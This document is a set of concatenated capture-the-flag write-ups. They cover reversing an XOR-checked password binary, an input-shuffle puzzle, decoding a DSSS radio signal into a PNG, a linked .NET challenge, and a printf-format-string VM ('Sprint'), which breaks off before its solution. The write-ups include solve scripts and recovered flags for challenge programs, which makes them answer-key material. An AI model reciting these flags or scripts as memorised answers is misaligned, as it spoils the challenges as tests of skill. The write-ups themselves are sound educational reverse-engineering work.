Then the execution flow is totally redirected to the hidden istructions (`0x610000`).Start analyzing them:```;-- rsi: 0x00610000 6a2b push 0x2b ; '+' ; 43 0x00610002 1f invalid 0x00610003 b804000000 mov eax, 4 ;-- rip: 0x00610008 bb01000000 mov ebx, 1 0x0061000d 6a10 push 0x10 ; 16 0x0061000f 6872643a20 push 0x203a6472 ; 'rd: ' 0x00610014 687373776f push 0x6f777373 ; 'sswo' 0x00610019 6872207061 push 0x61702072 ; 'r pa' 0x0061001e 68456e7465 push 0x65746e45 ; 'Ente' 0x00610023 89e1 mov ecx, esp 0x00610025 ba14000000 mov edx, 0x14 ; 20 0x0061002a cd80 int 0x80 0x0061002c b871026100 mov eax, 0x610271 0x00610031 b900010000 mov ecx, 0x100 ; 256 ┌─> 0x00610036 31db xor ebx, ebx ╎ 0x00610038 28cb sub bl, cl ╎ 0x0061003a 881c18 mov byte [rax + rbx], bl └─< 0x0061003d e2f7 loop 0x610036 0x0061003f ba47016100 mov edx, 0x610147 0x00610044 bf0a000000 mov edi, 0xa 0x00610049 be71016100 mov esi, 0x610171 0x0061004e b900010000 mov ecx, 0x100 ; 256 0x00610053 31db xor ebx, ebx ┌─> 0x00610055 39fb cmp ebx, edi ┌──< 0x00610057 7c02 jl 0x61005b │╎ 0x00610059 31db xor ebx, ebx └──> 0x0061005b 8a241a mov ah, byte [rdx + rbx] ╎ 0x0061005e 8826 mov byte [rsi], ah └─< 0x00610060 4643e2f1 loop 0x610055 0x00610064 bf71026100 mov edi, 0x610271 0x00610069 31db xor ebx, ebx 0x0061006b 81ee00010000 sub esi, 0x100 ; 256 0x00610071 31c0 xor eax, eax 0x00610073 b900010000 mov ecx, 0x100 ; 256 ┌─> 0x00610078 8a1406 mov dl, byte [rsi + rax] ╎ 0x0061007b 00d3 add bl, dl ╎ 0x0061007d 8a1407 mov dl, byte [rdi + rax] ╎ 0x00610080 00d3 add bl, dl ╎ 0x00610082 8a1407 mov dl, byte [rdi + rax] ╎ 0x00610085 8a341f mov dh, byte [rdi + rbx] ╎ 0x00610088 883407 mov byte [rdi + rax], dh ╎ 0x0061008b 88141f mov byte [rdi + rbx], dl └─< 0x0061008e 40e2e7 loop 0x610078 0x00610091 b803000000 mov eax, 3 0x00610096 bb00000000 mov ebx, 0 0x0061009b 6a00 push 0 0x0061009d 6a00 push 0 0x0061009f 6a00 push 0 0x006100a1 6a00 push 0 0x006100a3 6a00 push 0 0x006100a5 6a00 push 0 0x006100a7 6a00 push 0 0x006100a9 6a00 push 0 0x006100ab 89e1 mov ecx, esp 0x006100ad ba20000000 mov edx, 0x20 ; 32 0x006100b2 cd80 int 0x80 0x006100b4 b800000000 mov eax, 0 0x006100b9 89ce mov esi, ecx 0x006100bb bf71076100 mov edi, 0x610771 ┌─> 0x006100c0 668b1406 mov dx, word [rsi + rax] ╎ 0x006100c4 66891407 mov word [rdi + rax], dx ╎ 0x006100c8 4083f820 cmp eax, 0x20 ; 32 └─< 0x006100cc 75f2 jne 0x6100c0 0x006100ce be71076100 mov esi, 0x610771 0x006100d3 bf71026100 mov edi, 0x610271 0x006100d8 ba71036100 mov edx, 0x610371 0x006100dd 31c0 xor eax, eax 0x006100df 31db xor ebx, ebx 0x006100e1 b920000000 mov ecx, 0x20 ; 32 ┌─> 0x006100e6 51 push rcx ╎ 0x006100e7 0fb6c8 movzx ecx, al ╎ 0x006100ea fec1 inc cl ╎ 0x006100ec 52 push rdx ╎ 0x006100ed 8a340f mov dh, byte [rdi + rcx] ╎ 0x006100f0 00f3 add bl, dh ╎ 0x006100f2 8a141f mov dl, byte [rdi + rbx] ╎ 0x006100f5 88140f mov byte [rdi + rcx], dl ╎ 0x006100f8 88341f mov byte [rdi + rbx], dh ╎ 0x006100fb 00f2 add dl, dh ╎ 0x006100fd 0fb6d2 movzx edx, dl ╎ 0x00610100 8a invalid ╎ 0x00610101 14 invalid ╎ 0x00610102 17 invalid ╎ 0x00610103 8a0c06 mov cl, byte [rsi + rax] ╎ 0x00610106 30d1 xor cl, dl ╎ 0x00610108 5a pop rdx ╎ 0x00610109 880c02 mov byte [rdx + rax], cl ╎ 0x0061010c 4059 pop rcx └─< 0x0061010e e2d6 loop 0x6100e6 0x00610110 b900000000 mov ecx, 0 0x00610115 b800000000 mov eax, 0 0x0061011a be51016100 mov esi, 0x610151 0x0061011f bf71036100 mov edi, 0x610371 ┌─> 0x00610124 8a1c0e mov bl, byte [rsi + rcx] ╎ 0x00610127 8a140f mov dl, byte [rdi + rcx] ╎ 0x0061012a 30d3 xor bl, dl ╎ 0x0061012c 30d8 xor al, bl ╎ 0x0061012e 4183f920 cmp r9d, 0x20 ; 32 └─< 0x00610132 75f0 jne 0x610124 0x00610134 83ec08 sub esp, 8 0x00610137 c74424043300. mov dword [rsp + 4], 0x33 ; '3' 0x0061013f c70424951040. mov dword [rsp], 0x401095 ; [0x401095:4]=0x7400f883 0x00610146 cb retf```
the code is too much, so I'll try to resume:1. many calculations have been made in the portion of memory in range `0x610171` - `0x610371`, and is calculated the real "encrypted" password (stored in 32 bytes starting from `0x610151`). It is: `0x84, 0xd3, 0xb8, 0xca, 0xe2, 0x36, 0x63, 0x17, 0xc5, 0xae, 0x30, 0x7f, 0xd5, 0xd9, 0x10, 0xcf, 0xfa, 0x41, 0x8a, 0xa0, 0xbb, 0x1d, 0xdb, 0x84, 0x62, 0xe2, 0xa6, 0x36, 0x1d, 0xb9, 0x1c, 0x8b`.2. 32 Byte of text (password) are requested in input. They are stored in `0x610771`.3. The entered password is ecrypted:The Password is XORed with these bytes (32 bytes starting from `0x610271`): `0xf4, 0xbc, 0xcb, 0xaf, 0x8b, 0x52, 0x0c, 0x79, 0xbe, 0xcd, 0x00, 0x1b, 0xb0, 0x86, 0x7d, 0xa6, 0x82, 0x72, 0xf8, 0xda, 0xc1, 0x42, 0xba, 0xf6, 0x07, 0xbd, 0xd1, 0x05, 0x74, 0xcb, 0x78, 0xf6`.You can read these values by placing a breakpoint on `0x00610103` and looking at `dl` for every iteration, as shown in figure:
4. The encrypted password entered by user is compared with the encrypted real password.
So, we have:1. One operand of XOR ( Portion of memory, located in `0x610271` against which the password is compared )2. Result of XOR (real encrypted password in `0x610151`)
Because of XOR is reversible, we can XOR first operand with result, to get second operand (the plaintext password):```pythonfrom pwn import *
#a XOR b = c
a = [ 0xf4, 0xbc, 0xcb, 0xaf, 0x8b, 0x52, 0x0c, 0x79, 0xbe, 0xcd, 0x00, 0x1b, 0xb0, 0x86, 0x7d, 0xa6, 0x82, 0x72, 0xf8, 0xda, 0xc1, 0x42, 0xba, 0xf6, 0x07, 0xbd, 0xd1, 0x05, 0x74, 0xcb, 0x78, 0xf6 ]c = [ 0x84, 0xd3, 0xb8, 0xca, 0xe2, 0x36, 0x63, 0x17, 0xc5, 0xae, 0x30, 0x7f, 0xd5, 0xd9, 0x10, 0xcf, 0xfa, 0x41, 0x8a, 0xa0, 0xbb, 0x1d, 0xdb, 0x84, 0x62, 0xe2, 0xa6, 0x36, 0x1d, 0xb9, 0x1c, 0x8b ]b = ""
#calculating b (b is equal to: a XOR c)for n in range(32): b += p8(a[n]^c[n])
print(b)```
```sh$ python exploit.pyposeidon{c0de_mix3rzz_are_w3ird}$ python exploit.py | ./mixerEnter password: Password is correct :)```
So, the flag is `poseidon{c0de_mix3rzz_are_w3ird}`
|
Knowing that the input and the output is equal to each other, and we have "CTF{" and the first 4 char and the last char have to be "}" and the input is len 15.
With that we input "CTF{0000000000}" to the input and then check the xmm0 register before the strncmp call.
And then look up the output position at the shuffle table and get those output as our new input for the next input. For the full write up check [this](https://github.com/acheron2302/CTF-writeup) |
# WHAT LURKS BELOW
_Challenge Description: This one seems to be straight forward, but there is no flag to be found! Sample rate = 1024k_
## Initial ThoughtsImmediately after reading the description of the problem, I thought of GPS satellites. The GPS signal is so weak that it is typically below the noise floor of the receivers (What lurks below!), so I'm suspicious that this problem will have a similar theme.
GPS satellites encode their data using a technique called [DSSS](https://en.wikipedia.org/wiki/Direct-sequence_spread_spectrum#:~:text=In%20telecommunications%2C%20direct%2Dsequence%20spread,to%20reduce%20overall%20signal%20interference.&text=With%20DSSS%2C%20the%20message%20bits,known%20as%20a%20spreading%20sequence.). The technique involves multiplying each bit by a long sequence of pseudo-random bits before transmission. The receiver can then correlate this seemingly-noise signal with the same sequence and pull it out from below the noise floor
### Getting started
We're given [challenge.cfile](files/challenge.cfile) and nothing else. cfile is a common format for storing complex radio signals - to make it a bit easier to process I quickly passed it through a very simple GNURadio flowgraph to produce a wav file representing the raw input ([challenge.wav](files/challenge.wav))
Looking at this wav file, we can see what appears to be a lot of random noise on both channels, with a small hint of a signal on the I channel:
Armed with the insight that this is probably DSSS, we can **[skip most of the work](QuickSolution.md)**, but that's not how we originally solved it, though I wish it was.
### Decoding the I channel signal
This is probably a digital radio problem, so I broke out GNURadio to solve it. I start with a frequency sink and constellation sink to see if I can find any pattern to the data: 
_... Nope_
At best I can see perhaps a little bit of data in the <25MHz range, but nothing obvious and definitely no constellation. We'll have to filter some of this noise
After adding my best guess at a relevant filter, we get something much more promising - this looks like a BPSK constellation! That's great news, because BPSK is very easy to decode.
I threw on a Clock Recovery Block to get a an acceptable constellation, and some additional garbage to make it output a string of ones and zeros to a text file. This flowgraph really isn't very good and produces some bit errors, but the sequence repeats several times so I was able to use that as a rudimentary error correction code, and fix the bit errors in a text editor.
The resultant bitstream looks like this:```000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000101010100000000000000000100110100110100110100110100101011001010110010110100101101001100110100110101010101001010110100101100101011001101010010110101010011001010110100110100101011001101010010110100110011001011010011010101001101010101010010101100110101001011001101010100101101001100110100110101010101001010110011010100101011010011010010110101010011001011001010110100101011010010110010110100101101001011010011001100101011010011010100110101010101010011001101010100101011010010110010110101010011001011001011001100101011010101010010110010110101001011010011001101001101010101010010101101001101001011010101001100101011001101010010110100110011010011010101010101001010101100110100110101010101010010110101001101001011010101010100101101001101010010110011010100101100110010110100110011010011010011001010110101001101010101010011001100110101001011001101010100101101001100110100110101010101001011010100101100101100110101010010110011010011001010110101010101001101010101010010101101001011001011010011001100101011010100110010101100110011001011010011001100101100101011010010110101001011001011010011001101001101010101010010110011010011001010110100101101001010110011010100110101010101010101001100110011010101010101010101010010110100110010110011010100110101010100101011001100110100110100110100101100101011010101001100101011010101010010101101010100101100101101001100101011001101010101001010110101001011001011001011010101010100110100110011010011010010110011001011010010101100101010110011010101001101010011001011001101001011010101001011010101010011001100101010101101010010110101001101001100101011001011001101010101010011010010110010101010110100101011001011001010101100101011010101001010110010101100101100110011001011001101010100110100101101001010101011010010101101010100110101010101010101001100110011010010110010110101010010101011010100101010110010101011010100110101001011010100110101010100110011001011010101001011010101001010101100110100101101001101001100101010110011001100101100110011010101001011001011001011010010110101001011010011010011010010110010101011001100110010101100110010110010101010101010101011001100110100110011001011001010101100101100101101001010101101010010110100101100101100101101010100110010110101001100110010110101010011001101010101000000000000000001001101001101001101001101001010110010101100101101001011010011001101001101010101010010101101001011001010110011010100101101010100110010101101001101001010110011010100101101001100110010110100110101010011010101010100101011001101010010110011010101001011010011001101001101010101010010101100110101001010110100110100101101010100110010110010101101001010110100101100101101001011010010110100110011001010110100110101001101010101010100110011010101001010110100101100101101010100110010110010110011001010110101010100101100101101010010110100110011010011010101010100101011010011010010110101010011001010110011010100101101001100110100110101010101010010101011001101001101010101010100101101010011010010110101010101001011010011010100101100110101001011001100101101001100110100110100110010101101010011010101010100110011001101010010110011010101001011010011001101001101010101010010110101001011001011001101010100101100110100110010101101010101010011010101010100101011010010110010110100110011001010110101001100101011001100110010110100110011001011001010110100101101010010110010110100110011010011010101010100101100110100110010101101001011010010101100110101001101010101010101010011001100110101010101010101010100101101001100101100110101001101010101001010110011001101001101001101001011001010110101010011001010110101010100101011010101001011001011010011001010110011010101010010101101010010110010110010110101010101001101001100110100110100101100110010110100101011001010101100110101010011010100110010110011010010110101010010110101010100110011001010101011010100101101010011010011001010110010110011010101010100110100101100101010101101001010110010110010101011001010110101010010101100101011001011001100110010110011010101001101001011010010101010110100101011010101001101010101010101010011001100110100101100101101010100101010110101001010101100101010110101001101010010110101001101010101001100110010110101010010110101010010101011001101001011010011010011001010101100110011001011001100110101010010110010110010110100101101010010110100110100110100101100101010110011001100101011001100101100101010101010101010110011001101001100110010110010101011001011001011010010101011010100101101001011001011001011010101001100101101010011001100101101010100110011010101010... Repeats a dozen times```
Note that the data contains a balanced number of ones and zeros - this indicates it's probably manchester-coded. Passing the result through an online manchester decoder produces the following ascii:```I've started the transfer (sample rate = 1024k). The chip sequence is: �?´AÔ�p¸8lº?6À��Îô"Ó??ñ�v�7ÎÞáÝ«BgÎ??M��x�AXaé�õj?f2MêëêVöÏ?¶?+```The bit after the ascii is 64 bytes:```80 0C B4 41 D4 93 70 B8 38 6C BA 0E 36 C0 94 9A CE F4 22 D3 0C 15 F1 89 76 81 37 CE DE E1 DD AB 42 67 CE 10 05 4D 87 8F 78 8C 41 58 61 E9 92 F5 6A 1B 66 32 4D EA EB 7F EA 56 F6 CF 19 B6 16 2B```
At this point we stalled out a bit. For some reason we forgot the GPS/DSSS insight for about an hour while we tried to pull the flag out of this data. Nothing we did worked, though, and eventually we remembered the name of the challenge and got back on track.
The flag isn't in this sequence. The flag is in the original file, and this is the pseudo-random sequence that was used to encode the data into chips.
If we go back to the original data and correlate it with our newly found chip, we get the following:
There's a positive or negative spike every 512 samples - just as expected! All that's left is to grab each of these bits and convert it to ascii
Matlab script:```Matlab[y, Fs] = audioread('challenge.wav');
samples = y(:,2)';
chip = [1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,1,0,0,1,0,0,1,0,0,1,1,0,1,1,1,0,0,0,0,1,0,1,1,1,0,0,0,0,0,1,1,1,0,0,0,0,1,1,0,1,1,0,0,1,0,1,1,1,0,1,0,0,0,0,0,1,1,1,0,0,0,1,1,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,0,1,0,0,1,0,0,1,1,0,1,0,1,1,0,0,1,1,1,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,1,1,1,1,1,0,0,0,1,1,0,0,0,1,0,0,1,0,1,1,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,1,1,0,1,1,1,1,1,0,0,1,1,1,0,1,1,0,1,1,1,1,0,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,0,1,0,0,1,1,0,0,1,1,1,1,1,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,1,1,0,1,1,0,0,0,0,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,1,0,0,0,0,1,1,1,1,0,1,0,0,1,1,0,0,1,0,0,1,0,1,1,1,1,0,1,0,1,0,1,1,0,1,0,1,0,0,0,0,1,1,0,1,1,0,1,1,0,0,1,1,0,0,0,1,1,0,0,1,0,0,1,0,0,1,1,0,1,1,1,1,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,1,1,1,1,1,1,1,1,1,0,1,0,1,0,0,1,0,1,0,1,1,0,1,1,1,1,0,1,1,0,1,1,0,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,1,0,0,0,0,1,0,1,1,0,0,0,1,0,1,0,1,1]*2-1;
result = conv(samples,flip(chip));
bits = (sign(result(512:512:end))+1)/2;```
Plugging the bits from matlab into CyberChef, we get the following output:```.PNG....IHDR.......@.....õ]©¾...·IDATxÚíÝÝ®¢0..P9áý_¹seB..».Pt.»ñ ÔMûÑ....Rz.?éO @........... ......@........... ......@........... .....³¶¼yY.ÿ^K)e_/Ùîè·JÞïùܦe_gï©ÙwiÍ.¶»ë·[.e9.ÅQÛkÎcÉ>Jë]º¯h?.qì½ú÷®ÕÚRÔ\çØë4{.+iôYAj:côø½:â^.·¯o·.tÂ..¡gH½.ÓúÙ[ëXÒ.{.»¦.%ík^.ä..RzÍöKc3µ'.B3Öñè..Îðj:jm{ïªã¬ç°y.pÕÉë}2®hwdz<ú*¹½.ìµ%÷ÞYÎié´·×ù.©E¯:.¼¿w?^_?.:h϶;[ú..p¹¥CnJ.[..ý»Ç:970..S2øsK¦.u,.+.=â"¶Î6.¯¾.E×y5ëÁÜÔþs ¶|ÞÜþsí:.)Ô\E¯.éD.AË:{o.W,1K.=j.{{..¾ËY³¦ý,vt»h;Ï®ÎOXREÛ¿.ÓÕW·o.¡Fj³Âh-×'u¸.;ÉÞ.4..3Ý鯽¿2j68*ü¿±¾5ãc.mÐ.NÈÕíÍÝ.ûå+\¤ÏD..þª.cî¯ePå^.íjvÔ.½Ï.ù"PÍ.¨£+ÜÝu.t°.ö÷ê¼¹+bK{ïoÔ±GÍ.×Ú.ï5öÎÄ.mOäæXt»³mÞ.¯yê0b.\óT"Z¯«.ÎÙw.Îê8ê.hïc.. ,éAs,SBuÔ7úÖÀ..â..}.eÔ7xÔ..j.sð}fY.Ì..U_äJF.ü,K........ ......@........... ......@........... ......@..ãü..CjPzñ¿¾....IEND®B`..```
Saving as a PNG, we get the flag!
 |
We make the flag validator print out the flag itself. Cool huh? :)
Link: [https://github.com/CTF-STeam/ctf-writeups/tree/master/2020/Google%20CTF/rev-dotnet](https://github.com/CTF-STeam/ctf-writeups/tree/master/2020/Google%20CTF/rev-dotnet) |
# Rev: Sprint
## Task Description
Sprint faster than this binary!
## First Look
We are provided one ELF, namely `sprint`. Opening this in Ghidra reveals a `main` function as follows:
```undefined8 main(void)
{ undefined8 uVar1; ushort *local_98; ushort *local_90; undefined8 local_88; undefined8 local_80; undefined8 local_78; undefined8 local_70; undefined8 local_68; undefined8 local_60; undefined8 local_58; undefined8 local_50 [2]; ushort *local_40; local_40 = (ushort *)mmap((void *)0x4000000,0x4000000,3,0x22,-1,0); memcpy(local_40,M,0xf134); local_88 = 0; local_80 = 0; local_78 = 0; local_70 = 0; local_68 = 0; local_60 = 0; local_58 = 0; local_50[0] = 0; local_98 = local_40; local_90 = local_40; puts("Input password:"); uVar1 = 0x101270; __isoc99_scanf("%255s",local_40 + 0x7000); while (local_98 != local_40 + 0x7fff) { sprintf((char *)0x6000000,(char *)local_98,&DAT_0011116a,0,&local_98,0x6000000,(ulong)*local_90, local_90,&local_90,local_88,&local_88,local_80,&local_80,local_78,&local_78,local_70, &local_70,local_68,&local_68,local_60,&local_60,local_58,&local_58,local_50[0],local_50, uVar1); } if (local_40[0x7400] != 0) { printf("Flag: %s\n",local_40 + 0x7400); } return 0;}```
Upon further investigation, this uses `mmap` on the memory region `0x40000000` to `0x80000000`, as well as copying `0xf134` bytes of data to the start of this section. Looking at the data being copied as characters, we see a whole bunch of strings looking very much like C-style `printf` format strings:
```%1$00038s%3$hn%1$65498s%1$28672s%9$hn%1$00074s%3$hn%1$65462s%1$*8$s%7$hn%1$00108s%3$hn%1$65428s%1$1s%6$hn%1$00149s%3$hn%1$65387s%1$*8$s%1$2s%7$hn%1$00183s%3$hn%1$65353s%1$1s%6$hn%1$00218s%3$hn%1$65318s%1$2s%11$hn%1$00264s%3$hn%1$65272s%1$*10$s%1$*10$s%17$hn%1$00310s%3$hn%1$65226s%1$28672s%1$*16$s%7$hn...```
This makes sense, as we have an `sprintf` function call inside a loop later on. In fact, the program initializes `local_98` to be equal to the start of the mapped region, and provides this as a format string argument to `sprintf`! We can see that it terminates the program when this variable is equal to a certain value, and then does a check before possibly revealing the flag. This leads us into our next topic.
## Control Flow Bending
While we only learnt this afterwards, this is a well known technique to write arbitrary programs using `printf` format strings (and as a result, `printf` is Turing-complete!). Upon taking a closer look at the format strings, we are able to figure out what they do:
- `%1`, a pointer to null data, is used as an empty string. This is then padded with `$1234s` in order to print a specific amount of characters to the output memory location, `0x6000000`- `%3` is a pointer to our "instruction pointer", `local_98`, and controls which format string will be executed next- `$hn` is used to write a half-word (two bytes), representing the amount of characters written so far, to the `sprintf` argument given- `$*8` or similar is used to reference a `sprintf` argument, and commonly as a parameter for the amount of padding to a `%s` call. This enables the program to perform addition by setting padding equal to one variable and writing it to another- `%c` is used to write a single character, often one that can either be a null character or not- `%4`, a pointer to the location where all this is being printed to, is used to form conditionals. The way this works is that `%c` is used to print a character, then a set amount of padding is printed, followed by a null character. Then, all the data is printed out again as a string using `%4$s`. However, when the first character is a null character, no extra data is printed. This is used to form conditional jumps by writing to `%3` afterwards
Armed with all this knowledge, we proceeded to write a decompiler for the format strings given. The script, written in the deep hours of the night and not at all guaranteed to work for any other program, is as follows:
```import rels = open("code").readlines()f = [l.strip("\n").split("%")[1:] for l in ls]ln = [len(l.strip("\n"))+1 for l in ls]ln = ["0x0"] + [hex(sum(ln[:i+1])) for i in range(len(ln)-1)]
def parse(s): src = re.search(r"(\d+)\$([^A-Za-z]*)(\S+)", s) return src.groups()
def phex(i): return "0x" + hex(i)[2:].zfill(4)
f = [[parse(s) for s in l] for l in f]names = ["", "nadr", "nchr", "iptr", "optr", "@lv90", "lv90", "lr90", "lv88", "lr88", "lv80", "lr80", "lv78", "lr78", "lv70", "lr70", "lv68", "lr68", "lv60", "lr60", "lv58", "lr58", "@lv50", "lv50", "var1"]
for i in range(len(f)): l = f[i] wr = 0 s = ln[i][2:].zfill(4) + " | " regs = "" end = "" if l[0][2] == "c": no = (int(l[1][1]) + int(l[4][1]) + 2) % 65536; yes = (no + int(l[1][1]) + 1) % 65536; s += f"cjump {names[int(l[0][0])]} @{phex(yes)} @{phex(no)}" else: for e in l: if e[2] == "s": if "*" not in e[1]: wr = (wr + int(e[1]))%65536 else: regs = (regs if regs == "" else (regs + " + ")) + f"{names[int(e[1][1:-1])]}" elif e[2] == "hn": if e[0] == "3": if (i == len(f)-1 or wr != int(ln[i+1], 16)): end = f"jump {phex(wr)}" else: arr = [] if regs != "": arr += [regs] if len(arr) == 0 or wr != 0: arr += [phex(wr)] s += f"write {names[int(e[0])]} {' + '.join(arr)}" else: s += f"ERROR {e[0]}${e[1]}{e[2]}" s += end print(s)```
This outputs relatively nice assembly-ish code that we can then use to get a better idea of what the program is doing. The output is as follows:
```0000 | write lr88 0x70000026 | write lr90 lv88004a | write lv90 0x0001006c | write lr90 lv88 + 0x00020095 | write lv90 0x000100b7 | write lr80 0x000200da | write lr68 lv80 + lv800108 | write lr90 lv68 + 0x70000136 | write lr70 @lv90015b | cjump lv70 @0x0324 @0x01800180 | write lr78 lv80 + lv8001ae | write lr90 0xffef01d4 | write lv90 lv7801f9 | write lr90 0xfff0021f | write lr70 @lv900244 | cjump lv70 @0x0324 @0x02690269 | write lr68 lv78 + lv780297 | write lr90 lv68 + 0x700002c5 | write lv90 0x000102e7 | write lr78 lv78 + lv800315 | jump 0x01ae0324 | write lr80 lv80 + 0x0001034f | cjump lv80 @0x00da @0x03740374 | write lr88 0xe000039a | write lr80 0x000003bd | write lr90 lv8803e1 | write lr78 @lv900406 | cjump lv78 @0x043a @0x042b042b | jump 0x04a1043a | write lr80 lv80 + 0xffff0469 | write lr88 lv88 + 0x00010492 | jump 0x03bd04a1 | write lr68 lv80 + 0x00fe04d0 | cjump lv68 @0x0504 @0x04f504f5 | jump 0x05360504 | write lv50 0x00050527 | jump 0x13d90536 | write lr88 0x00000558 | write lr80 0x0000057b | write lr90 0xf10005a1 | write lr78 @lv9005c6 | write lr70 0x000105e9 | write lv50 0x0000060c | write lr90 lv88 + 0xe0000639 | write lr68 @lv90065e | cjump lv68 @0x0692 @0x06830683 | jump 0x0d970692 | write lr88 lv88 + 0x000106bb | write lr60 lv68 + 0xff8b06ea | cjump lv60 @0x0745 @0x070f070f | write lr68 0xfff00736 | jump 0x09450745 | write lr60 lv68 + 0xff8e0774 | cjump lv60 @0x07cb @0x07990799 | write lr68 0x000107bc | jump 0x094507cb | write lr60 lv68 + 0xff9c07fa | cjump lv60 @0x0852 @0x081f081f | write lr68 0x00100843 | jump 0x09450852 | write lr60 lv68 + 0xff940881 | cjump lv60 @0x08dc @0x08a608a6 | write lr68 0xffff08cd | jump 0x094508dc | write lr70 0x000008ff | write lr68 0x00000922 | write lv50 0x00010945 | write lr78 lv78 + lv680973 | write lr90 0xffef0999 | write lv90 lv7809be | write lr90 0xfff009e4 | write lr68 @lv900a09 | cjump lv68 @0x0d65 @0x0a2e0a2e | write lr90 lv78 + 0xf0000a5c | write lr68 @lv900a81 | write lr90 0xffef0aa7 | write lv90 lv680acc | write lr90 0xfff00af2 | write lv90 0x00000b14 | write lr90 0xffef0b3a | write lr68 @lv900b5f | write lr68 lv68 + lv680b8d | write lr90 lv68 + 0x70000bbb | write lr68 @lv900be0 | cjump lv68 @0x0d10 @0x0c050c05 | write lr68 lv80 + 0x00010c30 | write lr90 lv68 + 0xf1020c5e | write lr68 @lv900c83 | write lr68 lv68 + lv780cb1 | cjump lv68 @0x0d01 @0x0cd60cd6 | write lr80 lv80 + 0x00010d01 | jump 0x060c0d10 | write lr70 0x00000d33 | write lv50 0x00020d56 | jump 0x060c0d65 | write lv50 0x00040d88 | jump 0xfffe0d97 | cjump lv70 @0x0dcb @0x0dbc0dbc | jump 0x13d90dcb | write lr68 lv80 + 0xfff70dfa | cjump lv68 @0x0e2e @0x0e1f0e1f | jump 0x0e600e2e | write lv50 0x00030e51 | jump 0x13d90e60 | write lr88 0x00000e82 | write lr80 0x00000ea5 | write lr78 lv88 + 0xffd90ed3 | cjump lv78 @0x0f07 @0x0ef80ef8 | jump 0x137b0f07 | write lr70 0x00040f2a | write lr78 0x00000f4d | write lr78 lv78 + lv780f7b | write lr78 lv78 + lv780fa9 | write lr90 lv80 + 0xe0000fd7 | write lr68 @lv900ffc | write lr60 lv68 + 0xff8b102b | cjump lv60 @0x105f @0x10501050 | jump 0x1218105f | write lr60 lv68 + 0xff8e108e | cjump lv60 @0x10ed @0x10b310b3 | write lr78 lv78 + 0x000110de | jump 0x121810ed | write lr60 lv68 + 0xff9c111c | cjump lv60 @0x117b @0x11411141 | write lr78 lv78 + 0x0002116c | jump 0x1218117b | write lr60 lv68 + 0xff9411aa | cjump lv60 @0x1209 @0x11cf11cf | write lr78 lv78 + 0x000311fa | jump 0x12181209 | jump 0x13d91218 | write lr80 lv80 + 0x00011243 | write lr70 lv70 + 0xffff1272 | cjump lv70 @0x0f4d @0x12971297 | write lr90 lv88 + 0xf10c12c4 | write lr70 @lv9012e9 | write lr90 lv88 + 0xe8001316 | write lv90 lv70 + lv781343 | write lr88 lv88 + 0x0001136c | jump 0x0ea5137b | write lr90 lv88 + 0xe80013a8 | write lv90 0x000013ca | jump 0xfffe13d9 | write lr90 0xe80013ff | write lv90 0x00001421 | jump 0xfffe```## Program Analysis
Me and my teammate then spent a good amount of time on a collaborative editing website slowly working our way through this program, analysing the control flow and figuring out what it does. Our final Python-esque pseudocode is as follows:
```arr[0x7000] = 1arr[0x7002] = 1
for inc in range(2, 256): if arr[0x7000+2*inc] == 0: count = 2*inc while True: arr[0xffef] = count if arr[0xfff0] != 0: break arr[0x7000+2*count] = 0x0001 count += inc
l88 = 0xe000l80 = 0x0000
while arr[l88] != 0: l80 -= 1 l88 += 1
if l80 != -254: l50 = 0x0005 exit3()
l88 = 0l80 = 0l78 = arr[0xf100]l70 = 0x0001l50 = 0x0000
while arr[l88 + 0xe000] != 0: l68 = arr[l88 + 0xe000] l88 += 1 if l68 == 117: # u l68 = -0x10 elif l68 == 114: # r l68 = 0x01 elif l68 == 100: # d l68 = 0x10 elif l68 == 108: # l l68 = -0x01 else: l70 = 0 l68 = 0 l50 = 1 l78 += l68 arr[0xffef] = l78 if arr[0xfff0] != 0: exit1() arr[0xffef] = arr[l78 + 0xf000] arr[0xfff0] = 0 l68 = 2*arr[0xffef] if arr[0x7000 + l68] != 0: l70 = 0 l50 = 2 elif arr[l80 + 0xf103] + l78 == 0: l80 += 1
def exit1(): l50 = 4 sys.exit()
if l70 == 0: exit3()
if l80 + 0xfff7 == 0: l50 = 3 exit3()
l88 = 0l80 = 0
while l88 != 39: l78 = 0
for i in range(4): l78 *= 4 l68 = arr[l80 + 0xe000] if l68 == 117: # u = 0 l78 += 0 elif l68 == 114: # r = 1 l78 += 1 elif l68 == 100: # d = 2 l78 += 2 elif l68 == 108: # l = 3 l78 += 3 else: exit3() l80 += 1
arr[l88 + 0xe800] = arr[l88 + 0xf10c] + l78 l88 += 1
arr[0xe800+l88] = 0sys.exit()
def exit3(): arr[0xe800] = 0 sys.exit()```
In short, this does the following:
- Sets up a prime sieve where `0x0001` refers to composite numbers and `0x0000` as primes, starting at `0x7000` offset from the base address and running up to `0x7200`. This can be thought of as a 16x16 array- Checks length of input string to be `254`, else terminates with `l50` set to `5`- Uses input string as directions, where each character has to be `u`, `r`, `l`, or `d`, or the program exits with code `1`- Starts at coordinates `1, 1` and executes the moves, exiting with code `4` if an index variable overflows- Looks up the coordinate in a preset "16x16" map at `0xf000` offset, and uses the resulting byte as a coordinate to look up in the abovementioned prime sieve. If this location is not on a prime, the program returns exit code `1`- If this number is on a prime, a check is performed to see if the coordinate is the next in a series of preset coordinates at `0xf103` offset. If so, a counter is incremented- This counter is checked to be `9`, else the program terminates with code `3`- Finally, the input string is read `4` characters at a time and converted to a byte using base-4, and is stored in memory as the flag
## Solution
It is clear we need to find paths from the start to the various locations, and this will give us the flag. Writing a simple Depth-First Search suffices, and after a bit of tweaking the code we get out a string of, you guessed it, `254` moves that will visit each location. The program:
